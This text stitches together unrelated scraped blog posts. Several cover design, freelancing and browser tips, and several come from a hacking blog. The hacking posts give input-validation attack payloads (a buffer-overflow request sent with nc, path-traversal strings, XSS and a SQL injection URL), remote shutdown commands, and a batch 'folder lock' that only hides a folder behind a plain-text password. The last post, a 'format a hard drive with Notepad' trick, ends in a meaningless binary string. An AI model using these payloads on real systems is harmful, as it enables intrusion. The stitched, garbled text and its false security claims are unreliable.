How Sociology Helps: In Sociology one of the things discussed are subcultures. A subculture is formed by a group of people who develop their own culture, distinct and easily noticeable from the mainstream culture and other subcultures. In this case, the Gothic band is part of a subculture and the designer who is a member of the Pop culture would be considered mainstream culture. As well as properly defining this subgroup of a society, Sociology also provides knowledge base that teaches one how to properly study and learn about a subculture.

It is impractical for anyone to try and compact an entire subject of study into one article, especially one as multifaceted as Sociology. The purpose of this article was never to give a full breakdown of Sociology, and the ways you can use it to automatically improve your designs. Doing this would be unfair, and present a bad outlook of what this social science is. Like anything you study, the information may be the same, but the individual implementation of it varies from person to person. So hopefully by now you have seen how beneficial Sociology is to your design work, and will go out and further the knowledge you have on the subject. This can easily be done by taking an online course, maybe one at university if you are still in school or going back, or just taking the time to read some books. Here are a few things to remember to ask yourself whenever you are trying to approach an audience with your design that you are not accustom to.

What is the culture of their region?What are influencing factors that shape the society they live in?Would it be practical for me to conduct research using a test group?Is the outcome of my normal design approach going to bring a result that is offensive to them?
To learn more about how design differ from culture to culture, read:

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3rd Party “Related Links” Widgets for Websites – Best Of

As owners and strategist of a website, we are always looking for more ways to increase the traffic and number of visitors to our website. While most of the techniques – social network promotions, advertising, word of mouth, etc – get you traffic from the outside, there are a few things you can do from the inside to increase your website’s overall traffic.

Increasing pageviews from inside the site is cheap, but requires a bit of a technique. When a visitor lands on one of your pages, find ways to encourage them to read the next page, and another page, and another and so on. One of the most common ways to do this is by using social toolbars.

The "Related link section" is yet another common practice used to encourage visitors to stay longer on our website by promoting and recommending them to read another article similar to what they are currently reading. If you are a WordPress user, you know that this can be done easily with plugins, or without plugins.

This method is a crowd favorite, and we now see many emerging third party services providing similar services – good news for non-Wordpress sites. In today’s post we take a detailed look into three of the most popular third-party related link services on the Internet.
Full list after the jump.

Outbrain‘s widget is pretty customizable; you can have it displaying links within your website (to increase pageviews), or from external yet still relevant websites, or a diplomatic combination of both. The widget can display thumbnails, simple text, or a combination of the two. There’s also a rating feature where visitors can rate an article based on a 5-star rating scale, or thumb up an article.

Customers like Slate, Huffington Post, ELLE and TMZ pay Outbrain to distribute their content. If you run a high-traffic website with high-quality content, displaying Outbrain’s paid distributions or sponsored posts may open up an additional revenue stream for you!

To understand more about Outbrain for publishers, click here.
Outbrain gets visitors more engaged by listing related posts, and has a paid distribution program, but it is only for websites that has more than 500,000 monthly US pageviews per month. Customizing junkies will love the fact that the

Outbrain’s CSS guide allows you to change your related content widget’s appearance to merge with your site design. If you get stuck, ask for help in the forum or from their newly released support for mobile website.

I encountered a problem, among others, with the installation. Upon signing up, a key is sent to you to input in your blog’s control panel. The "key claiming" process seems a little buggy, and you may need help from one of Outbrain’s staff for the claiming process. Also, you have no control over the size of the thumbnails no matter how customizable Outbrain gets.
Similar to what Outbrain does, nRelate’s Related Content displays related links from your blog/website or from your blogroll. Between the two, nRelate is easier to customize as it is easier to control which links and from which blog is to be displayed.

nRelate’s design is pretty responsive in a sense that it reads your website’s theme and follows it to fit the background. It supports 13 major languages, a perfect solution for non-English blogs. And according to nRelate you can get a traffic spike of somewhere between 5%-12%. That sounds like a great deal!
nRelate gives users the freedom and flexibility to manipulate the widget – from how texts should appear to the sizes of the thumbnails – through the control panel.

It also gives old content revived circulation, allowing them to get equal exposure as do their newer counterparts. In this, nRelate has an option to let you choose how far back you want archived posts to be recommended. nRelate also has a revenue-sharing program with its publishers/subscribers.
With about 12,500 publishers, nRelate has fewer publishers than Outbrain’s 70,000. Thus, you may not want to keep your hopes up with the traffic and revenue expectations. In addition, nRelate takes two hours or more to index your website upon installation. Recommended links will only start showing up after that.
LinkWithin is relatively new. It provides services similar to nRelate and Outbrain but currently it only shows related links from within the website. Other functions will probably come in at later stages.

Its selling point is in its simplicity: it is simple to set up, and simple to use. You don’t even have to sign up for anything in order to get started.

One of the things I really like about LinkWithin is its ability to deal with non-image content intelligently. Upon detecting an article that doesn’t have a thumbnail, rather than displaying a blank box to fill the gap, it displays texts with links instead of a dummy image which usually looks like an error image. LinkWithin is light and fast. Its design is simple, nothing fancy, so it blends well with most layouts.

LinkWithin currently does not provide a revenue-sharing option which may seem like a disadvantage but without ads, it makes your related links more relevant, and visitors are less likely to be irked by ads and compelled to leave your site.

LinkWithin lacks of advanced analytics to track visits and the popularity of articles. Similar to Outbrain, to customize your widgets’ look and feel, it has to be done via theme files. This may be a challenge for some users. Lastly, there’s no option to remove any recommended links you may find unsuitable for your website.

Here’s a tabulated summary of my findings to help you decide on which service to use.
Prefer WordPress plugins better? No problem. Here are some of the favorites when it comes to displaying related content and links.

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8 Strategies to Get Your Business in a Distraction Free Zone

Physical and mental distractions are stunting the growth of your freelance business. In line with getting focused on my writing career for 2012, I’ve vowed to cut out as many distractions as possible, at the computer and beyond.

Here are eight strategies to get your business in a distraction-free zone!

I know, I know. What? No Facebook? Yeah, exactly, just like it was 2003. If you’re serious about getting focused on your business and you’re not using Facebook for business, deactivate and switch to building your network on LinkedIn. You’ll no longer be tempted to wander off into Facebook Land the next time you’re at your computer. Best of all, you won’t have that constant nagging feeling of checking your messages or updating your status. Restore your focus (and maybe your privacy).

If you are using Facebook for business, only you can decide what is ‘enough’ time spent on this social media site for marketing, promoting your product or service. However, you should be cautious that your mind is not constantly wandering off to Facebook when you should be concentrating on something else – it’s the social media trap, if you’re not careful, you’ll get sucked in.
In the pursuit of learning all you can about building a business, being successful and making money you’ve probably subscribed to a ton of newsletters and blogs.

Here’s the deal, if you haven’t benefited from these inbox fillers, unsubscribe. Sean Platt of Ghostwriter Dad puts it in perspective:

Look for those voices that have accomplished things similar to what you would like to accomplish, then get rid of anything you could categorize as online clutter.

How often do you open your inbox to find a plethora of emails? It’s overwhelming and time consuming.

Keep your subscriptions to a bare, essential minimum. Let’s not hoard information, especially information that is just cluttering our minds and focus.
If you haven’t benefited from it in the past 6 months of subscription, it’s time to toss it out, only keep the voices that really matter and as Sean Platt advises, “Narrow the number of voices you listen to. It is really, really easy to get lost. There is an abundance of information and so much of it is appealing because it is free.”

This is a free, downloadable timer you can use to set yourself a block of time for concentration. You’re committed to 25 minutes of work based on the Pomodoro Technique. Once the timer rings, and your 25 minutes are up, you can step away from the computer and take a break.
This is a mental practice and you have to build your discipline to stay focused for those 25 minutes devoted to work. The app doesn’t close browsers or documents, and will give you a buzz once the 25 minutes are complete. It’s available as a free download.

No, really, Concentrate is an app for Mac users to switch between one task and another – offering complete focus on a single task. For instance, you create the category ‘writing’. You then customize particular actions you want to happen when you are concentrating, such as blocking social media sites, chat, and quit apps.

You’ll also customize what you want to happen when concentrating, such as a ‘growl’ sound to remind you not to daydream, open apps and docs associated with the task. As soon as you press the ‘concentrate’ button, everything goes into effect and you’re ready to unleash your freelance genius. Create as many categories as you want.

This app will allow you to switch between tasks without manually having to open and close apps/browsers. There is a download fee of $29.

There’s a lot going on during the day in my household. The phone rings, children need to get picked up and dropped off, and the same children need to be fed (or they’ll get cranky). As I am the CEO of My Household, getting an office space outside of home is not feasible at the moment. Instead, I wait for the world to fall asleep (or at least that’s what it feels like) and try to work my creative juices.
We’re smart people and we know that being a freelancer is really, extraordinarily hard work. This is especially true when you’re trying to launch your business and gain momentum. This is the time to get through the tough spots and keep going.

When I’m tempted to hit the snooze button during the insane morning hours, I remind myself that someone else’s alarm went off and they’ll be getting up. This usually helps me fight the cozy bed syndrome. Find the motivating thought that gets you out of bed each morning, or keeps you up at night and hold on to it as if your business depended on it – because it does.

You’ve spent all this time learning and soaking up what the ‘gurus’ are saying in your industry. Once you have the basics down, you have to believe you know enough. Now is the time to implement.
What you haven’t learned through reading, you’ll learn through trial and error. After all, experts usually get their expertise through the field. They learn from their mistakes, they track their mistakes and they start seeing what works. Repeat often until you’ve created your own recipe for success.
Your strategy is different than mine, and my strategy is different from the next person and that’s ok.
If you’ve doubted your freelance business, I encourage you to visit a local job fair in your area. Watch as the disappoint grows on the faces of the job seekers who came hopeful only to find most positions were 100% sales commission. It’s a reality check any freelancer can benefit from.
In the 2012 Writer’s Market, they provide a writing calendar. Each month has a goal to meet, or a reminder. December’s tidbit is: Evaluate your 2011 accomplishments and make 2012 goals. January: Make 2012 your best year freelancing yet! February: Use the extra day in February to submit your writing.

You get the drift. Set monthly goals (supplemented by weekly goals) for your freelance business. Before you know it, you’ll be evaluating your 2012 accomplishments, make sure you’re able to face yourself knowing you’ve done all you can to make your freelance business a success.
Let us know how you plan to make 2012 the year your freelance business takes flight.

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10 Firefox Add-ons to Level Up Your Freelance Efficiency

Mozilla Firefox is a real treasure for freelancers worldwide. Why? It’s an advanced, fast and secure web browser.
In the last 7 years the open source browser has proved – it’s more than a web surfer. Mozilla Firefox is translated into over 70 languages, enriched with dozens of extensions, and beautified by many persona designs.

Firefox may be modified according to your needs on the fly. With a couple of useful add-ons the browser turns into your developer, designer, or SEO fellow-worker. Today, we continue our top Firefox extensions topic with a roundup of excellent free Firefox addons. These extensions will improve your productivity and level up your freelancing performance.

ReminderFox: ReminderFox is all you need to keep your freelance project time frame on target. The add-on helps to create to-do lists, set alerts, make notifications. You can specify time and date of your reminders. Thus, you will stay organized and goal-oriented with this tiny Firefox add-on.

Xmarks Sync:Xmarks Sync is a free back-up add-on. The tool saves tabs, browsing history, bookmarks and passwords before closing Firefox. Moreover, it lets you create an account and sync all your Firefox information so you may use it on another computer or restore it if your PC crashes. Xmarks Sync emphasizes that your freelance performance will not suffer due to sudden tech issues.

WebMail Notifier:WebMail Notifier is a Firefox reminder for freelancers who have multiple email accounts. WebMail Notifier handles Gmail, Yahoo, Hotmail and other email systems. It checks your email accounts and shows you alerts when you get new messages. Thus, you can promptly reply to your business and personal emails without missing important information.

WOT:Web of trust created by WOT Firefox add-on strives to make web surfing more reliable and secure. It’s not another antivirus link scanner. WOT website ratings are built on a human approach to web safety. Install the add-on and rate websites that you use. Leave your comments when a website is tricky or your customer experience is bad. Or vice versa: vote for good websites and write testimonials. All websites are rated by people and you can read reviews before downloading, making purchases or registrations.

FireShot: FireShot is a free screen capturing add-on. It easily replaces the “Print Screen” button or any other software you use for screenshots. Just click the button and make a screenshot. Edit the screenshot, add notes, highlight objects, print, save or email the screenshot. You can export FireShot screenshots to Flick or Picasa accounts and show your draft to your freelance boss.

Rainbow Color Tools: Rainbow Color Tools is a handy add-on for freelance designers and webmasters. Click the add-on button and pick up the precise object color. Rainbow Color Tools shows you color info and copies it to the clipboard. Plus, you can save your favorite colors to the library for further access. Next time when a client asks you to make a banner with their authentic website logo color, just go to Rainbow add-on and select a perfect match.

View Source Chart:The goal of this add-on is well described in its name. View Source Chart shows code and helps you examine bugs and alerts. Along with Firebug, View Source Chart is a helpful Firefox extension for freelance developers.

SeoQuake SEO extension: SeoQuake SEO extension is a useful all-in-one toolbar for SEO freelancers. The toolbar shows Google rank, Bing index, Alexa rank and other metrics. You can analyze keyword density for a page, count external and internal links. The add-on is suitable for a quick website performance check-up.

Show My Password: Show My Password is a great app to save your time. Almost each registration has “repeat password” field. It’s easy to err when the original password is hidden by dots. So you have to retype it again and again. Show My Password makes your work more efficient and less stressful. The add-on enables you to create accounts quickly with proper password spelling.

Text to Voice: Text to Voice is an ideal add-on for freelancers who manage several tasks simultaneously. You can listen to a specification and code a web page form. You can enjoy my FreelanceSwitch posts and design a wonderful Android app interface. The voice is a bit artificial. However, it will do if you are tired of reading.

View the original article here

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Specialist or Generalist: What’s Your Route to Success?

The beginning of a new year is always a good time to take stock of your business, and plan your direction for the coming year.  Some freelancers work toward building up a name for themselves within a niche; others intentionally avoid focusing too much in one area.

Here’s a breakdown of the pros and cons of each approach.

You might have been a financial guru in the past, and naturally kept that route when you opened your freelance business. Or maybe you started out covering many markets, but your best client was in real estate, and you found yourself getting established in that area. However it happens, building a name for yourself as a specialist has its benefits, including:

You’ll build knowledge of the vocabulary, trends, and who’s who in the market, enabling you to jump in faster, and potentially complete jobs quicker and easier.Customers in similar markets will get wind of your work and contact you.With a specific target audience in mind, you can slant your marketing efforts and materials appropriately.You can establish yourself as an expert through speaking engagements, teaching, writing articles, or hosting a blog.Your proven track record can help you negotiate higher compensation.

But along with the good comes the bad.  Reasons not to get too comfy might include:
A slump in your chosen market can send you into a dry spell.Known as a specialist in one area, you may find it difficult seeking a job out of that circle.You may become bored or experience burn out.
Remaining a generalist is a chosen path for many freelancers, and with good reason: wider options bring more opportunity.

Advantages of keeping abreast of a handful of differing markets include:
No need to panic if one of your markets goes dry; you can compensate by pursuing another area.You’ll learn new things routinely and work with a variety of people.Varying audiences will have different personalities, enabling you to use different styles and remain creative.You can avoid markets that you don’t want to work with.

And the cons:
Just like the Chinese restaurant that also serves pizza, customers might question where you excel.You may face overhead issues maintaining various versions of a resume or web site.You may become frustrated dealing with the ramp-up time of a new project, particularly if facing a tight deadline.
You learned in kindergarten that no two snowflakes are alike, and the same holds true with freelancers. While my friend was worried that she’d unintentionally settled into a niche in 2011, another freelancer might consider that an accomplishment. It’s all what makes you comfortable, what keeps things interesting for you, and ultimately, what pays the bills.

Which approach has brought you success as a freelancer? And which do you plan to pursue in 2012?
Illustration credit: Some rights reserved by patrimonio.
View the original article here

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Why Customer Service is So Important for Freelancers

 The term customer service reminds me of wasted time spent on the telephone with some huge conglomerate that somehow messed up something I purchased. Right now I’m dealing with customer service for both my cable/TV company and my home/auto insurance. It’s infuriating.
But customer service isn’t just for big box stores and insurance agencies. It’s important to freelancers, too.

As consumers, we’ve become disenchanted with advertising and marketing of all sorts, having being duped, tricked or made to feel foolish on more than one occasion. The last true medium that holds sway is referrals from friends, colleagues, or online reviews from the likes of Yelp, AngiesList or TripAdvisor. —Matt Mickiewicz for Forbes.com

According to an American Marketing Association survey, 90% of consumers trust peer reviews and 70% trust online reviews. The author of this post is Matt Mickiewicz, the co-founder of 99designs. He offers three rules that small businesses (and freelancers) should follow to offer their clients great customer service.

If one of your clients has a complaint, handle it immediately and yourself. What I hate most about dealing with large customer service departments is that I have to be on the phone for long periods of time being shuffled from one person to another. It’s annoying! That’s why I like to buy services and products from local companies as much as possible—a face to face conversation or simple email or phone call to the owner usually clears up any situation.

Make your clients realize that by working with you, a freelancer, instead of a large agency or other business, that they are getting the best customer service possible. It’s one of the best ways for you to promote yourself over your competition. By dealing with issues swiftly, and not sweeping them under the rug, you are keeping your clients happy—and their happiness is money in your pocket.

If you have a client who has given you a ton of work, reward them! Send them a small thank you gift (like a gift card) or give them a discount on future services.

A happy client will most likely be easier to deal with if there is ever a dispute. Plus, your genuine gratitude towards their business will work wonders when someone asks them for a referral. Your client is more likely to refer you when they are happy and content with your services.

I had my personal cell phone number on sitepoint.com for 10-years (a site visited by more than 2.5 million people every month and ranked Top 1000 in the world), and was happy to answer more than 30 calls on Christmas Day, when a special deal we were running on the website went wonky. — Matt Mickiewicz

Sure, answering telephone calls on Christmas probably isn’t what you really want to do, but the mere fact that you are answering them is sending an important message to your clients—when there is an emergency, you are there for them—no matter what.

Put your email and telephone number out in the open. Have you ever visited a website where the contact information is hard to find? How trustworthy is that? And while I understand the purpose and ease of an online form to fill out, I hate doing them. It’s so much easier to just pick up a phone and call or send an email from my own mailbox.

Help yourself by offering amazing customer service and try some things above and beyond what you currently offer. Be sincere, available, and grateful and your clients will be more likely to tout your services to others.


View the original article here

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Facebook Timeline: Quick Tips And Smart Examples

A lot has already been covered about Facebook Timeline. A lot of critics (as expected) have negatively criticized Facebook Timeline while others consider it as the biggest gamble (which seems to be working) by Mark Zuckerberg. I will try not to bore you by discussing the same stuff over and over. Facebook Timeline is here to stay and we can either sit on the sidelines and let Timeline take control of the social world or we can be a part of this new movement.
Though I am a firm believer of swimming-against-the-tide yet, on this rare occasion, I will suggest you to enable Timeline on your Facebook Profiles. It is time that you become accustomed to the new social networking phenomenon.

It is easy. Really. Follow the steps below:
Hit this link.Hit the green colored “Get Timeline” button on the bottom bar.Now, hold on. Before your second click I will suggest you go through your Timeline and make whatever changes you want in your timeline.Once you are happy with your Timeline then hit the green colored “Publish Now” button on the top horizontal bar.
Wasn’t that really easy? Have fun with the new Facebook profile and keep reading to make it more attractive.
The new Facebook Timeline looks a bit complex though it actually isn’t. Let me take you through some of the tips that will come in handy when you start using Facebook Timeline.
Click the “Star” button on the top right corner of any item in your Facebook Timeline to expand it horizontally. Once you do so the item stretches across both columns and is easily visible to the viewer. This feature can be used when you want to emphasize soemthing in your Timeline.

You can remove the items that you don’t like from your timeline. Besides deleting the item you can perform various other tasks (like editing the date, adding the location, marking spam and a lot more) with that item as seen in the image below:

You can get rid of the useless adverts that show on the right sidebar of your Facebook Timeline. All that you have to do is hover your mouse pointer on that advert and click the “X” button that becomes visible. Facebook will hide the advert but might ask a quick question which will help them improve their advert service. Be generous and leave your answer.

Just like the older version of Facebook, the timeline has the option to let you see how your timeline will look like to the general public. Just look for the View As option on the top of your timeline and test it out.

Although you will hide most of the useless content from your timeline, there will be times when you want to see everything that is actually part of your activity on Facebook. Look for the “Activity Log” button below your Facebook header image and click on it. You will now see everything that you have been up to on Facebook. You can filter the content by many fields and analyze it as much as you want. Know your activity and improve your social media experience.

Once you are accustomed to Facebook Timeline then it is time for some sort of beautification. Facebook Timeline provides the option to have one large image displayed on the top of your profile which gives your profile a completely new look. No other social networking website gives you the sort of look that the Facebook Timeline has to offer. Let me take you through some of the unique Facebook Timeline Covers that you can use right away on your Facebook Timeline.










I told you how to swim with the tide and be a part of Facebook Timeline phenomenon. I introduced you to some of the tips that can come in handy when you are about to use Facebook Timeline. Lastly, I presented some of the cover images that you can use on your Facebook Timeline. Now, before I wrap up, I will show some of the unique Facebook Timeline ideas that have garnered a lot of attention lately. These people were some of the very first people who successfully experimented with Facebook Timeline profile. Let us begin:

Andrew seems to be obsessed with the old look of Facebook. The obsession pushed him to give the new Facebook Timeline the look of old school Facebook. Pretty innovative I would say.

Mat’s Facebook cover page surely attracts attention when you look at it for the first time.

His Facebook Timeline profile goes with his name. Complex to figure out though simple once you know what it is.

Though there isn’t much that is unique with this Timeline Profile it’s still worth a view.

This is one rare Facebook Timeline profile that makes use of holiday seasons at its best.

Ever saw the Facebook Timeline style 404 error? Here is one for you to enjoy. It was sure that some will come up with a 404 Error page on their Timeline headers but this is pretty much the most different approach towards the 404 error page.

Robert’s Facebook Timeline Cover can easily be tagged as the most confused cover of them all. He still does not know what is on his mind!

Can’t explain anything about this Timeline profile. This has been doing rounds on the Internet due to its approach and it pretty much attracts all.

Another unique approach to Facebook Timeline Cover image.

Didn’t I tell you that QR Code‘s have their own marketing power? Here is another way to use QR code and attract attention.
View the original article here

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How To Create An Effective FAQ For Your Website

Frequently Asked Questions is a good section to have in your website. They give users a chance to figure out things by themselves instead of wasting resources (both yours and theirs) with a 1-to-1 conversation (chat, Skype, messenger and so on).

But FAQ’s are a different type of content. Just like search and sitemap, it has its own particularities and things that you can do to improve user experience. You have to keep in mind, for instance, that users don’t go to FAQ pages, you have to lead them there.

Here we’ll see a couple of thoughts about it, good practices, inspiration and tools.
So, let’s rock!

Ok, first thing you need to keep in mind: Users don’t read on the web. They scan the page trying to find main keywords about something that may be important to them (just like 90% of you are doing right now). So use good headlines and questions keywords, avoid clichés and keep them short.
If you can, outline main keywords, like searched terms, or main topics.

For a long time FAQs have been misused, instead of real and relevant content, companies put questions they “wished” users would ask (WAQ, Wished to be Asked Questions).

It’s very important to put users needs first, just cover topics that are really important to them. Otherwise it’ll be just another page trying to hide the solution from them. Which, by the way, won’t solve the problem at all, leading to future problems, like unnecessary support requests, or lost sales.
People don’t go looking for FAQs. It’s not a common workflow thinking “Hey, I need to know about their refund policy.. Let’s go to FAQ”. Sounds strange, huh?

So you have to interlink it wisely in places where users may need help. Like using them along with search pages. Or using them as a “wall” before chat with real attendants: Ask the user what kind of problem they have, then suggest a few FAQ searched items based on the users keywords.

FAQ are great to provide complete answers, but if you just want to tell users how features work, or which type of data they should put in a registration form just go with tooltips or something like that.
Oh, and don’t forget to make it easy and mobile friendly, or in other words, don’t use just a simple hovering element or title attribute. You may use a plugin or add it as a plain text right above your field or button.

I know I’m saying that it’s important, but it has its place in websites. It’s a good idea for sales websites, services, apps… But if you have a simple blog or simple company website, just create an “about” page and you’ll be fine.

Have you ever thought about it? If you have a single page with good keyword density about your product and link it in several places inside your website, it can be a really good landing page.
So, think carefully about it, it may lead a lot of users to your website.

Again, Keep It Simple, Stupid my friend .You don’t need to clarify every single question that may pop up about your product. You may categorize questions (if you have a huge amount of them), show content just when users need it.

Just keep in mind that landing page idea, you have to talk about the most main topics and solve users problems fast, if not they will just leave website.

Like I said above, you may hide content by default and just show it when a user wants/requires it. You can use, for instance, jQuey Collapsible panels plugin and create dynamically collapsible panels. You can also use jQuery accordion plugins.

Another good thing to do, is add a “Table of contents” with smooth scrolling, so users can reach what they want easily and with a pretty cool effect.
You may use smooth scrolling scripts or something like LocalScroll so you’ll get a better organized and easier to use FAQ page.

Well, Matthew Corner wrote a tutorial with smooth scrolling, table of contents and good looking, and you can just download and edit it to better fit your needs.

Although many people use simple headings (h2,h3) for questions and paragraphs for answers, I think that it’s much more semantically correct using definition lists for them. So you may use definition title(s) and definition description(s) to wrap them up accordingly.
Another option, really good one actually, is to use the

HTML5 element, which gives you those good looking collapsible panels by default (with browsers that support it, of course).Paypal uses a really good system where users can see their FAQ or search by keywords, as well.

It pretty common to have users asking you really dumb questions. Don’t get me wrong, but sometimes they could easily find the answer themselves, if we gave them a chance.

Did you know that we have a tool for FAQ development? Pretty cool, huh? It’s called FAQme, and worth trying!

If you’re more of a social company, why not use a tool that integrates questions and people? Well, I’ve seen a couple of (young) companies using FormSpring as a simple way to answer real questions and let them be easily accessed by other clients

View the original article here

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Types of viruses :-

The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.


2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.

This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.
Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.


4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

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Run Firefox inside Firefox

How to run Firefox inside Firefox.?

Yup you can run Firefox inside firefox just by typing following url.

How about Opening Firefox inside Firefox which is again in another Firefox..?

Not bad huh?

And its really easy too just type in this url in Firefox's address bar and there you go!

Firefox inside Firefox!

copy paste following url in a web browser (mozilla firefox).

chrome://browser/content/browser.xul

Following is the screenshot of this trick (firefox in firefox in firefox, which is again in another firefox)-

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Input Validation Attacks :-

Input Validation Attacks are where an attacker intentionally sends unusual input in the hopes of confusing the application.


The most common input validation attacks are as follows-


1) Buffer Overflow :- Buffer overflow attacks are enabled due to sloppy programming or mismanagement of memory by the application developers. Buffer overflow may be classified into stack overflows, format string overflows, heap overflows and integer overflows. It may possible that an overflow may exist in language’s (php, java, etc.) built-in functions.

To execute a buffer overflow attack, you merely dump as much data as possible into an input field. The attack is said to be successful when it returns an application error. Perl is well suited for conducting this type of attack.

Here’s the buffer test, calling on Perl from the command line:

$ echo –e “GET /login.php?user=\

> `perl –e ‘print “a” x 500’`\nHTTP/1.0\n\n” | \

nc –vv website 80

This sends a string of 500 “a” characters for the user value to the login.php file.

Buffer overflow can be tested by sending repeated requests to the application and recording the server's response.


2) Canonicalization :- These attacks target pages that use template files or otherwise reference alternate files on the web server. The basic form of this attack is to move outside of the web document root in order to access system files, i.e., “../../../../../../../../../boot.ini”. This type of functionality is evident from the URL and is not limited to any one programming language or web server. If the application does not limit the types of files that it is supposed to view, then files outside of the web document root are targeted, something like following-


/menu.asp?dimlDisplayer=menu.asp


/webacc?User.asp=login.htt


/SWEditServlet?station_path=Z&publication_id=2043&template=login.tem

/Getfile.asp?/scripts/Client/login.js


/includes/printable.asp?Link=customers/overview.htm



3) Cross-site Scripting (XSS) :- Cross-site scripting attacks place malicious code, usually JavaScript, in locations where other users see it. Target fields in forms can be addresses, bulletin board comments, etc.

We have found that error pages are often subject to XSS attacks. For example, the URL for a normal application error looks like this:

http://website/inc/errors.asp?Error=Invalid%20password

This displays a custom access denied page that says, “Invalid password”. Seeing a string

on the URL reflected in the page contents is a great indicator of an XSS vulnerability. The attack would be created as:

http://website/inc/errors.asp?Error=
That is, place the script tags on the URL.

4) SQL Injection :- This kind of attack occurs when an attacker uses specially crafted SQL queries as an input, which can open up a database. Online forms such as login prompts, search enquiries, guest books, feedback forms, etc. are specially targeted.
The easiest test for the presence of a SQL injection attack is to append “or+1=1” to the URL and inspect the data returned by the server.
example:- http://www.domain.com/index.asp?querystring=sports' or 1=1--

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Shutdown Command Via Command Prompt :-

The 'Shutdown' Command Becomes More Flexible and Automated when used from the Command Prompt.


To Run the 'Shutdown' command from the command prompt, go to 'Start > Run', type 'cmd', and press 'Enter'.

In the black box (the command prompt) type 'Shutdown' and the Switches you want to use with the 'Shutdown' command.

You have to use at least one switch for the shutdown command to work.


The Switches :- The 'Shutdown' command has a few options called Switches. You can always see them by typing 'shutdown -?' in the command prompt if you forget any of them.

-i: Display GUI interface, must be the first option


-l: Log off (cannot be used with -m option)


-s: Shutdown the computer

-r: Shutdown and restart the computer

-a: Abort a system shutdown


-m \\computername: Remote computer to shutdown/restart/abort


-t xx: Set timeout for shutdown to xx seconds


-c “comment”: Shutdown comment (maximum of 127 characters)

-f: Forces running applications to close without warning


-d [u][p]:xx:yy: The reason code for the shutdown u is the user code p is a planned shutdown code xx is the major reason code (positive integer less than 256) yy is the minor reason code (positive integer less than 65536)



Note :- I’ve noticed using a switch with a '-' sign doesn’t work sometimes.

If you are having trouble try using a '/' in place of '-' in your switches.

Examples :- shutdown –m \\computername –r –f


This command will restart the computer named computername and force any programs that might still be running to stop.

shutdown –m \\computername –r –f –c “I’m restarting your computer. Please save your work now.” –t 120

This command will restart the computer named computername, force any programs that might still be running to stop, give to user on that computer a message, and countdown 120 seconds before it restarts.


shutdown –m \\computername –a


This command will abort a previous shutdown command that is in progress.

Using A Batch File :-


You can create a file that performs the shutdown command on many computers at one time. In this example I’m going to create a batch file that will use the shutdown command to shut down 3 computers on my home network before I go to bed.

Open 'Notepad' and type the shutdown command to shut down a computer for each computer on the network.


Make sure each shutdown command is on its own line.

An example of what should be typed in notepad is given below-

shutdown –m \\computer1 –s


shutdown –m \\computer2 –s

shutdown –m \\computer3 -s

Now I’ll save it as a batch file by going to file, save as, change save as type to all files, give the file a name ending with '.bat'. I named mine 'shutdown.bat'.

Pick the location to save the batch file in and save it.

When you run the batch file it’ll shutdown computer 1, 2, and 3 for you.


You can use any combination of shutdown commands in a batch file.

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Tips for Wireless Home Network Security

1) Change Default Administrator Passwords (and Usernames)


2) Turn on (Compatible) WPA / WEP Encryption


3) Change the Default SSID


4) Disable SSID Broadcast


5) Assign Static IP Addresses to Devices


6) Enable MAC Address Filtering


7) Turn Off the Network During Extended Periods of Non-Use


8) Position the Router or Access Point Safely

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-: Folder Lock Without Any Software :-

Folder Lock With Password Without Any Software-


Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').

Any name will do.

Then you see a batch file. Double click on this batch file to create a folder locker.

New folder named 'Locker' would be formed at the same location.

Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.

If you want to unlock your files,double click the batch file again and you would be prompted for password.

Enter the password and enjoy access to the folder.


if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK



if NOT EXIST Locker goto MDLOCKER



:CONFIRM



echo Are you sure u want to Lock the folder(Y/N)



set/p "cho=>"



if %cho%==Y goto LOCK



if %cho%==y goto LOCK



if %cho%==n goto END



if %cho%==N goto END



echo Invalid choice.



goto CONFIRM



:LOCK



ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"



attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"



echo Folder locked



goto End



:UNLOCK



echo Enter password to Unlock folder



set/p "pass=>"



if NOT %pass%==type your password here goto FAIL



attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"



ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker



echo Folder Unlocked successfully



goto End



:FAIL



echo Invalid password



goto end



:MDLOCKER



md Locker



echo Locker created successfully

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If you think that Notepad is useless ???

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.

Step 1 :-
Copy The Following In Notepad Exactly as it is.

says01001011000111110010010101010101010000011111100000


